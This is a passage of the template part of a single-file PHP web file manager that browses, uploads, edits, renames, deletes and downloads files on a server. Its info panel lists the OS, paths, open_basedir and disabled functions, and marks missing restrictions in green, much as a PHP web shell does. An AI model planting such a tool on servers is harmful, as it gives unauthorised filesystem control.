class="hdr-t">WebAdmin File Manager</div> </div> <div class="hdr-m"><?php echo sanitize_output(php_uname('s') . ' ' . php_uname('r')); ?> · PHP <?php echo PHP_VERSION; ?></div> </div> <div class="tbar"> <?php echo create_breadcrumbs($current_dir); ?> <div class="ta"> <?php if (!$is_home): ?> <a href="?cd=<?php echo urlencode($home_dir); ?>&token=<?php echo $security_token; ?>" class="btn bhome">Home</a> <?php endif; ?> <a href="?" class="btn">Files</a> <a href="?action=upload" class="btn">Upload</a> <a href="?action=create" class="btn">New</a> <a href="?action=info" class="btn">Info</a> <?php if ($has_parent): ?> <a href="?cd=<?php echo urlencode($parent_dir); ?>&token=<?php echo $security_token; ?>" class="btn">Up</a> <?php endif; ?> </div> </div> <div class="ct"> <div class="tw" id="tw"> <?php if ($message): ?> <div class="toast t<?php echo $message_type === 'success' ? 's' : 'e'; ?>"><?php echo sanitize_output($message); ?></div> <?php endif; ?> </div> <?php if (isset($_GET['action']) && $_GET['action'] === 'upload'): ?> <div class="pnl"> <h3>Upload File</h3> <p style="font-size:.8rem;color:var(--tx3);margin-bottom:12px"> Target: <strong style="color:var(--tx2)"><?php echo sanitize_output($current_dir); ?></strong><br> Max size: <?php echo format_size($config['max_upload_size']); ?> <?php if (!empty($config['allowed_extensions'])): ?> | Allowed: <?php echo sanitize_output(implode(', ', $config['allowed_extensions'])); ?> <?php endif; ?> </p> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <div class="fr stk"> <input type="file" name="upload_file" class="inp" required> <button type="submit" class="btn bh">Upload</button> </div> </form> </div> <?php elseif (isset($_GET['action']) && $_GET['action'] === 'create'): ?> <div class="pnl"> <h3>Create New</h3> <form method="post" style="margin-bottom:12px"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <div class="fr stk"> <input type="text" name="mkdir" class="inp" placeholder="New folder name..."> <button type="submit" class="btn bh">Create Folder</button> </div> </form> <form method="post"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <div class="fr stk"> <input type="text" name="create_file" class="inp" placeholder="New file name (e.g. config.php)..."> <button type="submit" class="btn bg">Create File</button> </div> </form> </div> <?php elseif (isset($_GET['action']) && $_GET['action'] === 'info'): ?> <div class="pnl"> <h3>System Information</h3> <div style="overflow-x:auto;-webkit-overflow-scrolling:touch"> <table class="itbl"> <tr><td class="lb">Server Software</td><td><?php echo sanitize_output($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td></tr> <tr><td class="lb">PHP Version</td><td><?php echo PHP_VERSION; ?></td></tr> <tr><td class="lb">Operating System</td><td><?php echo sanitize_output(php_uname()); ?></td></tr> <tr><td class="lb">Server IP</td><td><?php echo sanitize_output($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td></tr> <tr><td class="lb">Your IP</td><td><?php echo sanitize_output($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td></tr> <tr><td class="lb">Document Root</td><td><?php echo sanitize_output($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td></tr> <tr><td class="lb">Script Path</td><td><?php echo sanitize_output(__FILE__); ?></td></tr> <tr><td class="lb">Current Directory</td><td><?php echo sanitize_output($current_dir); ?></td></tr> <tr><td class="lb">Home Directory</td><td><?php echo sanitize_output($home_dir); ?></td></tr> <tr><td class="lb">Writable</td><td><?php echo is_writable($current_dir) ? '<span style="color:var(--gn)">Yes</span>' : '<span style="color:var(--rd)">No</span>'; ?></td></tr> <tr><td class="lb">Disk Free</td><td><?php echo format_size(@disk_free_space($current_dir)); ?></td></tr> <tr><td class="lb">Disk Total</td><td><?php echo format_size(@disk_total_space($current_dir)); ?></td></tr> <tr><td class="lb">upload_max_filesize</td><td><?php echo ini_get('upload_max_filesize'); ?></td></tr> <tr><td class="lb">post_max_size</td><td><?php echo ini_get('post_max_size'); ?></td></tr> <tr><td class="lb">memory_limit</td><td><?php echo ini_get('memory_limit'); ?></td></tr> <tr><td class="lb">max_execution_time</td><td><?php echo ini_get('max_execution_time'); ?>s</td></tr> <?php $ob = ini_get('open_basedir'); ?> <tr><td class="lb">open_basedir</td><td style="font-size:.76rem;word-break:break-all"><?php echo $ob ? sanitize_output($ob) : '<span style="color:var(--gn)">No restriction</span>'; ?></td></tr> <?php $dl = ini_get('disable_functions'); ?> <tr><td class="lb">Disabled Functions</td><td style="font-size:.76rem;word-break:break-all"><?php echo $dl ? sanitize_output($dl) : '<span style="color:var(--gn)">None</span>'; ?></td></tr> </table> </div> </div> <?php elseif (!empty($view_content)): ?> <div class="pnl"> <div class="ph"> <h3 style="word-break:break-all">View: <?php echo sanitize_output($_GET['view']); ?></h3> <div style="display:flex;gap:5px;flex-shrink:0;flex-wrap:wrap"> <?php if (is_editable($_GET['view'])): ?> <a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn bh bsm">Edit</a> <?php endif; ?> <a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn bsm">Download</a> <a href="?" class="btn bsm">Back</a> </div> </div> <?php echo $view_content; ?> </div> <?php elseif (!empty($edit_content)): ?> <div class="pnl"> <div class="ph"> <h3 style="word-break:break-all">Edit: <?php echo sanitize_output($edit_filename); ?></h3> <a href="?" class="btn bsm">Back</a> </div> <form method="post"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <input type="hidden" name="edit_filename" value="<?php echo sanitize_output($edit_filename); ?>"> <textarea name="edit_content" class="eta" id="editorArea"><?php echo sanitize_output($edit_content); ?></textarea> <div class="ebar"> <button type="submit" name="save_edit" value="1" class="btn bh">Save Changes</button> <a href="?view=<?php echo urlencode($edit_filename); ?>&token=<?php echo $security_token; ?>" class="btn">View</a> <a href="?" class="btn">Cancel</a> </div> </form> </div> <?php else: ?> <?php $items = @scandir($current_dir); if ($items === false) { echo "<div class='msg me'>Cannot read directory contents. Check permissions.</div>"; } else { $dirs = array(); $files = array(); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $current_dir . DS . $item; if (is_dir($full)) { $dirs[] = $item; } else { $files[] = $item; } } sort($dirs); sort($files); $all_items = array_merge($dirs, $files); $total_items = count($all_items); $total_size = 0; foreach ($files as $f) { $total_size += @filesize($current_dir . DS . $f); } ?> <div class="sm"> <span><?php echo $total_items; ?> items · <?php echo count($dirs); ?> folders, <?php echo count($files); ?> files</span> <span>Total: <?php echo format_size($total_size); ?></span> </div> <?php if (empty($all_items)): ?> <div class="empty"> <div class="empty-i">0</div> <p>This directory is empty.</p> </div> <?php else: ?> <div style="overflow-x:auto;-webkit-overflow-scrolling:touch"> <table class="ft"> <thead> <tr> <th>Name</th> <th>Size</th> <th class="cm">Perms</th> <th class="ch">Owner</th> <th class="cm">Modified</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($all_items as $item): $full_path = $current_dir . DS . $item; $is_dir = is_dir($full_path); $icc = $is_dir ? 'i0' : get_file_icon_class($item); $ext_label = $is_dir ? 'DIR' : strtoupper(get_file_extension($item) ?: '---'); $size = $is_dir ? '-' : format_size(@filesize($full_path)); $perms = get_perms($full_path); $owner = get_owner_name($full_path); $mtime = @filemtime($full_path); $mtime_str = $mtime ? date('Y-m-d H:i', $mtime) : 'N/A'; ?> <tr> <td> <div class="fn-wrap <?php echo $icc; ?>"> <span class="fi"><?php echo $ext_label; ?></span> <?php if ($is_dir): ?> <a href="?cd=<?php echo urlencode($full_path); ?>&token=<?php echo $security_token; ?>" class="fn fnd"><?php echo sanitize_output($item); ?>/</a> <?php else: ?> <span class="fn"><?php echo sanitize_output($item); ?></span> <?php endif; ?> </div> </td> <td class="sc"><?php echo $size; ?></td> <td class="pc cm"><?php echo $perms; ?></td> <td class="oc ch"><?php echo sanitize_output($owner); ?></td> <td class="dc cm"><?php echo $mtime_str; ?></td> <td> <div class="als"> <?php if (!$is_dir): ?> <a href="?view=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">View</a> <?php if (is_editable($item) && is_writable($full_path)): ?> <a href="?edit=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">Edit</a> <?php endif; ?> <a href="?download=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">DL</a> <?php endif; ?> <a href="javascript:void(0)" class="al" onclick="openRen('<?php echo addslashes(sanitize_output($item)); ?>')">Ren</a> <a href="?delete=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al ad" onclick="return cfDel('<?php echo addslashes(sanitize_output($item)); ?>',<?php echo $is_dir ? 'true' : 'false'; ?>)">Del</a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> <?php } ?> <?php endif; ?> </div> </div> <div class="mbg" id="renModal"> <div class="mbox"> <h3>Rename Item</h3> <form method="post" id="renForm"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <input type="hidden" name="rename_from" id="renFrom" value=""> <label style="font-size:.82rem;font-weight:600;color:var(--tx2)">New name:</label> <input type="text" name="rename_to" class="minput" id="renTo" required> <div class="mbtns"> <button type="button" class="btn" onclick="closeRen()">Cancel</button> <button type="submit" class="btn bh">Rename</button> </div> </form> </div> </div> <script> function openRen(n){document.getElementById('renFrom').value=n;document.getElementById('renTo').value=n;document.getElementById('renModal').classList.add('on');var el=document.getElementById('renTo');el.focus();el.select()} function closeRen(){document.getElementById('renModal').classList.remove('on')} function cfDel(n,d){return confirm('Delete '+(d?'folder':'file')+' "'+n+'"?' +(d?' All contents will be removed.':''))} document.getElementById('renModal').addEventListener('click',function(e){if(e.target===this)closeRen()}); document.addEventListener('keydown',function(e){if(e.key==='Escape')closeRen()}); var ea=document.getElementById('editorArea'); if(ea){ea.addEventListener('keydown',function(e){if(e.key==='Tab'){e.preventDefault();var s=this.selectionStart,en=this.selectionEnd;this.value=this.value.substring(0,s)+' '+this.value.substring(en);this.selectionStart=this.selectionEnd=s+4}})} setTimeout(function(){var t=document.querySelectorAll('.toast');t.forEach(function(el){el.style.transition='opacity .3s';el.style.opacity='0';setTimeout(function(){el.remove()},300)})},4500); </script> </body> </html>
Save Changes
View
Cancel
Rename Item
New name:
Cancel
Rename